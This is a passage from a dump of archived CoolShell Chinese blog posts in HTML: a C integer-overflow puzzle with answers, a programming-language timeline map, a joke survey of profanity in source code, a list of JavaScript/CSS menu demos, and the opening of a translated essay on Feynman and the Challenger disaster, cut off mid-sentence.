src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/652.html\">MySQL: InnoDB 还是 MyISAM?</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7886.html\"><img alt=\"代码执行的效率\" height=\"150\" src=\"../wp-content/uploads/2012/07/muxnt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7886.html\">代码执行的效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7490.html\"><img alt=\"性能调优攻略\" height=\"150\" src=\"../wp-content/uploads/2012/06/f1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7490.html\">性能调优攻略</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1846.html\">MySQL性能优化的最佳20+条经验</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-11-28 C 语言整型谜题.html",
    "content": "<html><body><p>如题，此篇文章是描述C语言中的整数谜题。</p>\n<p>假定机器字长是32位的，用2的补码表示整数。对以下C表达式，请问它们在所有情况下都正确吗？如果不是，请给出反例。</p>\n<p>初始化：</p>\n<pre class=\"EnlighterJSRAW\">int x = foo();\nint y = bar();\nunsigned ux = x;\nunsigned uy = y;</pre>\n<p>1. 若x &lt; 0, 则x * 2 &lt; 0</p>\n<p>2. ux &gt;= 0</p>\n<p>3. 若x &amp; 7 == 7， 则(x &lt;&lt; 30) &lt; 0</p>\n<p>4. ux &gt; -1</p>\n<p>5. 若x &gt; y, 则-x &lt; -y</p>\n<p>6. x * x &gt;= 0</p>\n<p>7. 若x &gt; 0 &amp;&amp; y &gt; 0, 则x + y &gt; 0</p>\n<p>8. 若x &gt;= 0, 则-x &lt;= 0</p>\n<p>9. 若x &lt;= 0, 则-x &gt;= 0</p>\n<p>答案如下：</p>\n<p><span id=\"more-1857\"></span></p>\n<p>1. 错。当x = INT_MIN</p>\n<p>2. 正确。</p>\n<p>3. 正确。</p>\n<p>4. 错。-1被转换成UINT_MAX</p>\n<p>5. 错。当x = -1, y = INT_MIN</p>\n<p>6. 错。当x = 65535</p>\n<p>7. 错。INT_MAX 和 INT_MAX</p>\n<p>8. 正确。</p>\n<p>9. 错。INT_MIN<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12012.html\"><img alt=\"State Threads 回调终结者\" height=\"150\" src=\"../wp-content/uploads/2014/10/edsm-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12012.html\">State Threads 回调终结者</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11466.html\"><img alt=\"C语言的整型溢出问题\" height=\"150\" src=\"../wp-content/uploads/2014/04/c99-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11466.html\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1857.html\">C 语言整型谜题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-11-29 编程语言时间地理图.html",
    "content": "<html><body><p></p>\n<p style=\"text-align: left;\"> 有人使用Google Map做了一个<a href=\"http://www.geospat.com/hoprola/\" target=\"_blank\">网页</a>，把所有编程语言的时间线和地理位置，如下图，上面是一个编程语言的时间轴，下面是Google Map地图，点击编程语言，你可以查看该编程语言的发明者，发明地，和其Hello World示例（点击<a href=\"https://coolshell.cn/articles/169.html\" target=\"_blank\">这里</a>查看更多的Hello World）</p>\n<p style=\"text-align: center;\"><a href=\"http://www.geospat.com/hoprola/\" target=\"_blank\"><strong>http://www.geospat.com/hoprola/</strong></a><br/>\n<a href=\"https://coolshell.cn/wp-content/uploads/2009/11/programming_language_timeline.jpg\" target=\"_blank\"><img alt=\"编程语言时间地理图\" height=\"606\" src=\"../wp-content/uploads/2009/11/programming_language_timeline.jpg\" title=\"编程语言时间地理图（点击看大图）\" width=\"1013\"/></a></p>\n<p style=\"text-align: center;\"><img alt=\"JavaScript 的发明者，发明地和示例\" class=\"alignnone size-full wp-image-1861\" height=\"297\" src=\"../wp-content/uploads/2009/11/programming_language_timeline_javascript.jpg\" title=\"JavaScript 的发明者，发明地和示例\" width=\"330\"/></p>\n<p style=\"text-align: center;\">（点击小星，可以看到语言的发明者和示例）</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6639.html\"><img alt=\"千万别惹程序员 \" height=\"150\" src=\"../wp-content/uploads/2012/02/programming-language-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6639.html\">千万别惹程序员 </a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4626.html\"><img alt=\"读书笔记：对线程模型的批评\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4626.html\">读书笔记：对线程模型的批评</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3385.html\"><img alt=\"编程语言流行度\" height=\"150\" src=\"../wp-content/uploads/2010/12/rank_scatter1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3385.html\">编程语言流行度</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3100.html\"><img alt=\"编程语言进化\" height=\"150\" src=\"../wp-content/uploads/2010/10/language-evolution-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3100.html\">编程语言进化</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2724.html\"><img alt=\"计算机编程简史图\" height=\"150\" src=\"../wp-content/uploads/2010/07/aboutprogramming04.eng_-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2724.html\">计算机编程简史图</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2598.html\"><img alt=\"五个编程语言设计的失误\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/22.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2598.html\">五个编程语言设计的失误</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1863.html\">编程语言时间地理图</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-11-30 Javascript程序员嘴最脏__.html",
    "content": "<html><body><p>请看下图，我在Google Code上，针对每个程序语言都搜索了一下“fuck”一词的出现文件的个数X，以及没有出现fuck一词的文件的个数Y，然后放在Excel里求了一下百分比（X/(X+Y) * 100%），做了一个图。结果，JavaScript语言中出现的次数高达0.56%，名列全部语言之首，然后是Perl，C 和 PHP。（对于Javascript程序员的这种行为可以理解，因为IE，因为浏览器嘛，我就不多说了）</p>\n<p style=\"text-align: center;\"><img alt=\"Google Code 中程序语言出现 fuck 一词的比率\" class=\"alignnone size-full wp-image-1851\" height=\"303\" src=\"../wp-content/uploads/2009/11/programming_language.jpg\" title=\"Google Code 中程序语言出现 fuck 一词的比率\" width=\"543\"/></p>\n<p style=\"text-align: left;\">相关的数据表格如下：</p>\n<p style=\"text-align: left;\"><span id=\"more-1850\"></span></p>\n<p style=\"text-align: center;\"><img alt=\"Google Code 中程序语言出现 fuck 一词的比率\" class=\"alignnone size-full wp-image-1852\" height=\"225\" src=\"../wp-content/uploads/2009/11/programming_language_table.jpg\" title=\"Google Code 中程序语言出现 fuck 一词的比率\" width=\"262\"/></p>\n<p style=\"text-align: left;\">（全文完）</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2053.html\"><img alt=\"最为奇怪的程序语言的特性\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2053.html\">最为奇怪的程序语言的特性</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1839.html\"><img alt=\"编程语言汽车\" height=\"150\" src=\"../wp-content/uploads/2009/11/oscar-meyer-wienermobile-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1839.html\">编程语言汽车</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1532.html\"><img alt=\"到处都是Unix的胎记\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1532.html\">到处都是Unix的胎记</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10739.html\"><img alt=\"Lua简明教程\" height=\"150\" src=\"../wp-content/uploads/2013/12/lua-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10739.html\">Lua简明教程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10337.html\"><img alt=\"数据即代码：元驱动编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10337.html\">数据即代码：元驱动编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1850.html\">Javascript程序员嘴最脏??</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-11-4 13个不错的Javascript和CSS的菜单.html",
    "content": "<html><body><p>以前发布过两篇文章——“<a href=\"https://coolshell.cn/articles/562.html\" rel=\"bookmark\">30种时尚的CSS网站导航条</a>”和“<a href=\"https://coolshell.cn/articles/918.html\" rel=\"bookmark\">20个优秀的Javascript导航技术</a>”，今天向大家介绍一下，13个不错的Javascript和CSS的菜单。</p>\n<p>1) <a href=\"http://www.andrewsellick.com/35/sexy-sliding-javascript-side-bar-menu-using-mootools\">性感的滑动型菜单</a> </p>\n<p><a href=\"http://www.andrewsellick.com/35/sexy-sliding-javascript-side-bar-menu-using-mootools\"><img alt=\"Sexy-menu - 13不错的Javascript CSS菜单\" src=\"../wp-content/uploads/HLIC/4996deb5bbd70cc8d71bc51ec8954385.gif\"/></a></p>\n<p>演示： <a href=\"http://www.andrewsellick.com/examples/sliding-side-bar/\" target=\"_blank\" title=\"Demo\">Mootols Version</a><br/>\n演示：<a href=\"http://www.andrewsellick.com/examples/sliding-side-bar-scriptaculous/\" target=\"_blank\" title=\"Demo\">Script.aculo.usVersion</a></p>\n<p> </p>\n<p><span id=\"more-1660\"></span></p>\n<hr class=\"dotted\"/>2) <a href=\"http://labs.activespotlight.net/jQuery/menu_demo.html\">FastFind 菜单</a> 右键菜单，还可以被拖来拖去。使用 <em>jQuery</em> 。\n<p><a href=\"http://labs.activespotlight.net/jQuery/menu_demo.html\"><img alt=\"Fastfind - 13不错的Javascript CSS菜单\" src=\"../wp-content/uploads/HLIC/2c3645511db61a6d2c008aacf5d1b5d3.gif\"/></a></p>\n<p>演示： <a href=\"http://labs.activespotlight.net/jQuery/menu_demo.html\" target=\"_blank\" title=\"Demo\">FastFind Menu</a></p>\n<p> </p>\n<hr class=\"dotted\"/>3) <a href=\"http://2210media.com/dock_menu/\">Webber 2.0 Dock 菜单</a>\n<p><a href=\"http://2210media.com/dock_menu/\"><img alt=\"Dockmenu - 13不错的Javascript CSS菜单\" src=\"../wp-content/uploads/HLIC/b959949728d1df1f380f68fdd30a345a.gif\"/></a></p>\n<p>演示： <a href=\"http://2210media.com/dock_menu/\" target=\"_blank\" title=\"Demo\">Webber 2.0 Dock Menu</a></p>\n<p> </p>\n<hr class=\"dotted\"/>4) <a href=\"http://www.phatfusion.net/\">Phatfusion- 图片菜单</a> 使用了onClick 事件来 open 和 close 菜单项。\n<p><a href=\"http://www.phatfusion.net/imagemenu/index.htm\"><img alt=\"Phatfusion - 13不错的Javascript CSS菜单\" src=\"../wp-content/uploads/HLIC/7c8a1d7b798d4a2d919eb83a792b71f0.jpg\"/></a></p>\n<p>演示： <a href=\"http://www.phatfusion.net/imagemenu/index.htm\" target=\"_blank\" title=\"Demo\">Phatfusion- Image Menu</a><br/>\n演示： <a href=\"http://www.artviper.de/ImageMenu/\" target=\"_blank\" title=\"Demo\">Mootools version with XML parser</a></p>\n<p> </p>\n<hr class=\"dotted\"/>5) <a href=\"http://extjs.com/deploy/dev/examples/tree/reorder.html\">可拖动的树形菜单</a>\n<p> <a href=\"http://extjs.com/deploy/dev/examples/tree/reorder.html\"><img alt=\"Tree - 13不错的Javascript CSS菜单\" src=\"../wp-content/uploads/HLIC/a999b2c5c2b62e523654a43d8f2d379b.gif\"/></a></p>\n<p>演示： <a href=\"http://extjs.com/deploy/dev/examples/tree/reorder.html\" target=\"_blank\" title=\"Demo\">Drag and Drop ordering in a TreePanel</a></p>\n<p> </p>\n<hr class=\"dotted\"/>6) <a href=\"http://www.thinkvitamin.com/\">自定义的菜单事件</a>\n<p><a href=\"http://www.thinkvitamin.com/misc/yui-demos/demo-10.html\"><img alt=\"Custom - 13不错的Javascript CSS菜单\" src=\"../wp-content/uploads/HLIC/f049f6dba56c3ff488dcf9d0dba9181a.gif\"/></a></p>\n<p>演示： <a href=\"http://www.thinkvitamin.com/misc/yui-demos/demo-10.html\" target=\"_blank\" title=\"Demo\">Custom Menu Events | ThinkVitamin.com</a></p>\n<p> </p>\n<hr class=\"dotted\"/>7) <a href=\"http://yura.thinkweb2.com/scripting/contextMenu/\">右键菜单 </a>\n<p><a href=\"http://yura.thinkweb2.com/scripting/contextMenu/\"><img alt=\"Custom - 13不错的Javascript CSS菜单\" src=\"../wp-content/uploads/HLIC/d593bc2e237bc06e6f28e7ccf999eb2b.jpg\"/></a></p>\n<p>演示： <a href=\"http://yura.thinkweb2.com/scripting/contextMenu/\" target=\"_blank\" title=\"Demo\">Context Menu Functionality</a><br/>\n演示：<a href=\"http://utils.softr.net/contextmenoo-menu-contextual-con-mootools/\" target=\"_blank\" title=\"demo\">Another Context Menu</a></p>\n<p> </p>\n<hr class=\"dotted\"/>8 ) <a href=\"http://gmarwaha.com/blog/?p=7\">LavaLamp jQuery 滑动菜单 </a>\n<p><a href=\"http://gmarwaha.com/blog/?p=7\"><img alt=\"Lavalamp - 13不错的Javascript CSS菜单\" src=\"../wp-content/uploads/HLIC/670a6412233b77ecbccf70047b6d75ac.gif\"/></a></p>\n<p>演示： <a href=\"http://gmarwaha.com/blog/?p=7\" target=\"_blank\" title=\"Demo\">LavaLamp jQuery Sliding Menu</a><br/>\n演示： <a href=\"http://devthought.com/cssjavascript-true-power-fancy-menu/\" target=\"_blank\" title=\"Demo\">Mootools Fancy Menu</a></p>\n<p> </p>\n<hr class=\"dotted\"/>9 ) <a href=\"http://www.dynamicdrive.com/dynamicindex1/slashdot.htm\">折叠式菜单</a>\n<p><a href=\"http://www.dynamicdrive.com/dynamicindex1/slashdot.htm\"><img alt=\"9 - 13不错的Javascript CSS菜单\" src=\"../wp-content/uploads/HLIC/62922536936df5e7c844afa1e86cb606.gif\"/></a></p>\n<p>演示： <a href=\"http://www.dynamicdrive.com/dynamicindex1/slashdot.htm\" target=\"_blank\" title=\"Demo\">Slashdot Menu</a></p>\n<p> </p>\n<hr class=\"dotted\"/>10 ) <a href=\"http://www.artviper.eu/mootoolsmenu/\" target=\"new\">Mootools层叠式菜单</a>\n<p><a href=\"http://www.artviper.eu/mootoolsmenu/\" target=\"new\"><img alt=\"10 - 13不错的Javascript CSS菜单\" src=\"../wp-content/uploads/HLIC/ef8e08b0a9bf0ff831ac0b5078d74115.jpg\"/></a></p>\n<p>演示： <a href=\"http://www.artviper.eu/mootoolsmenu/\" target=\"new\" title=\"Demo\">Mootools menu with Accordeon and Effects</a></p>\n<p> </p>\n<hr class=\"dotted\"/>11 ) <a href=\"http://www.ndesign-studio.com/blog/mac/css-dock-menu\" target=\"new\">CSS Dock 菜单</a> 模仿Mac 电脑界面。 \n<p><a href=\"http://www.ndesign-studio.com/blog/mac/css-dock-menu\" target=\"new\"><img alt=\"11 - 13不错的Javascript CSS菜单\" src=\"../wp-content/uploads/HLIC/c995589668f5cafebb326f51458507fd.gif\"/></a></p>\n<p>演示： <a href=\"http://www.ndesign-studio.com/blog/mac/css-dock-menu\" target=\"new\" title=\"Demo\">CSS Dock Menu</a></p>\n<p> </p>\n<hr class=\"dotted\"/>12 ) <a href=\"http://www.getintothis.com/pub/projects/rb_menu/\" target=\"new\">jQuery 插件：滑动式菜单</a>\n<p><a href=\"http://www.getintothis.com/pub/projects/rb_menu/\" target=\"new\"><img alt=\"12 - 13不错的Javascript CSS菜单\" src=\"../wp-content/uploads/HLIC/e89c0f8090dfdf15f02ca59ca26790d1.gif\"/></a></p>\n<p>演示： <a href=\"http://www.getintothis.com/pub/projects/rb_menu/\" target=\"new\" title=\"Demo\">jQuery Plugin: Sliding Menu</a></p>\n<p> </p>\n<hr class=\"dotted\"/>13 ) <a href=\"http://www.456bereastreet.com/archive/200705/accessible_expanding_and_collapsing_menu/\" target=\"new\">折叠式菜单</a>\n<p><a href=\"http://www.456bereastreet.com/lab/accessible-expanding-collapsing-menu/\" target=\"new\"><img alt=\"13 - 13不错的Javascript CSS菜单\" src=\"../wp-content/uploads/HLIC/0a9da228f5264becdc2aac4296776f35.gif\"/></a></p>\n<p>演示： <a href=\"http://www.456bereastreet.com/lab/accessible-expanding-collapsing-menu/\" target=\"new\" title=\"Demo\">Accessible expanding and collapsing menu</a></p>\n<p>文章：<a href=\"http://9tricks.com/web-dev/13-awesome-javascript-css-menus/\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3207.html\"><img alt=\"30+ Web下拉菜单\" height=\"150\" src=\"../wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-5-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3207.html\">30+ Web下拉菜单</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9666.html\"><img alt=\"浏览器的渲染原理简介\" height=\"150\" src=\"../wp-content/uploads/2013/05/Render-Process-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9666.html\">浏览器的渲染原理简介</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6043.html\"><img alt=\"Web开发中需要了解的东西\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6043.html\">Web开发中需要了解的东西</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3684.html\"><img alt=\"Web开发人员速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/02/1128-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3684.html\">Web开发人员速查卡</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1660.html\">13个不错的Javascript和CSS的菜单</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-11-4 Richard Feynman, 挑战者号, 软件工程.html",
    "content": "<html><body><p></p>\n<p style=\"TEXT-ALIGN: left;\">源文：<a href=\"http://duartes.org/gustavo/blog/post/richard-feynman-challenger-disaster-software-engineering\" target=\"_blank\">链接</a>  （本文主要根据挑战者号的问题，以及Richard Feynman那对NASA严厉的批评报告，批评了不适当的“自顶向下”的设计方法，并总结了一下软件工程和其它工程的相通的一些观点。翻译水平有限，欢迎指正）</p>\n<p align=\"center\"><img alt=\"Challenger Crew\" height=\"200\" src=\"http://static.duartes.org/img/blogPosts/250px-ChallengerCrew.jpg\" width=\"250\"/></p>\n<p>佛罗里达州，美国东部时间1986年1月28日上午11时39分，<a href=\"http://zh.wikipedia.org/wiki/%E6%8C%91%E6%88%98%E8%80%85%E5%8F%B7%E8%88%AA%E5%A4%A9%E9%A3%9E%E6%9C%BA%E7%81%BE%E9%9A%BE\">挑战者号航天飞机</a> 执行为期6天的<a href=\"http://en.wikipedia.org/wiki/STS-51-L\">STS-51-L 任务</a>，在发射后，其右侧固体火箭助推器（SRB – <a href=\"http://en.wikipedia.org/wiki/Space_Shuttle_Solid_Rocket_Booster\">Solid Rocket Booster</a>）的O型环密封圈（用于连接两节助推器）失效，泄漏出来的热汽达到了5000华氏度，直接蒸发了O型密封圈，并灼烧了毗邻的外部燃料舱，在几秒钟内，外部燃料舱出现结构连接失效，空气的动力迅速分解了航天飞机。在而航天飞机上升72秒以后，助推器脱落，导致航天发飞向侧面滑出。几乎在引航员 Michael J. Smith 发出”Uh oh” 的同时，整个航天飞机完全解体，片刻，航天飞机内部发生爆炸，所有7名宇航员罹难。 那时的我还只是一个小孩，我从电视下方滚动的新闻条目知道了这一惨剧。</p>\n<p>在那个时候，火箭助推器工程师曾经警告过这个O型环可能存在问题，但可惜的是，NASA的管理层忽略了这个问题。<img align=\"right\" alt=\"Challenger Explosion\" height=\"191\" src=\"http://static.duartes.org/img/blogPosts/ChallengerExplosion.jpg\" style=\"MARGIN: 6px;\" width=\"300\"/>美国总统里根委派<a href=\"http://en.wikipedia.org/wiki/Rogers_Commission\" target=\"_blank\">罗杰斯委员会</a>对事故进行了调查，调查成员包括著名的物理学家Richard Feynman。其不羁的态度和直来直去的方法和罗杰斯委员会的风格形成了鲜明的反差。主席罗杰斯，一个政客，评论Feynman是一个“真正的痛苦”。最后，在委员会提交的报告中，Feynman反判的观点几乎被清除了出去。并且，Feynman曾被主席威胁过要把他的名字从报告中完全除掉，但最终，他们还是同意在报告中加一个附录，但只是个人观点—— <a href=\"http://www.ralentz.com/old/space/feynman-report.html\">Appendix F – Personal Observations on Reliability of Shuttle</a>。</p>\n<p><span id=\"more-1654\"></span></p>\n<p>这是一个好的报告，因为，这是一个富有才华的报告。其深深地洞察了在实现一些高可靠性的系统时的工程学中的一些很自然性的东西。是的，在这里，我并没有放上“软件工程” 的字样，只是工程。但Feynman的结论却非常和我们的软件开发有着不可分割的关系。这是最基本的东西，无论是软件工程，还是别的工程学。下面，让我们来看看，Feynman是怎么说的：</p>\n<blockquote><p>航天飞机主引擎的建造方式是<a href=\"http://en.wikipedia.org/wiki/Top-down\"><strong>自顶向下</strong></a>(top down)，我们可以这样说。整个引擎被设计把所有的事情放在一起，而那些相关的细节上的东西在设计当时还并不是很成熟的。所以，<strong>当其中的小零件（轴承，涡轮片，散热管，等等）出现问题时</strong>，<strong>我们需要花费昂贵的代价才能找到事故的原因，也很难作出修改</strong>。要避免问题发生，需要频繁的维护和置换重要的零部件。修理很多时候不会解决真正的原因。</p></blockquote>\n<p>可见，软件开发中也一样，Bug在整个过程中存在的时间越长， <a 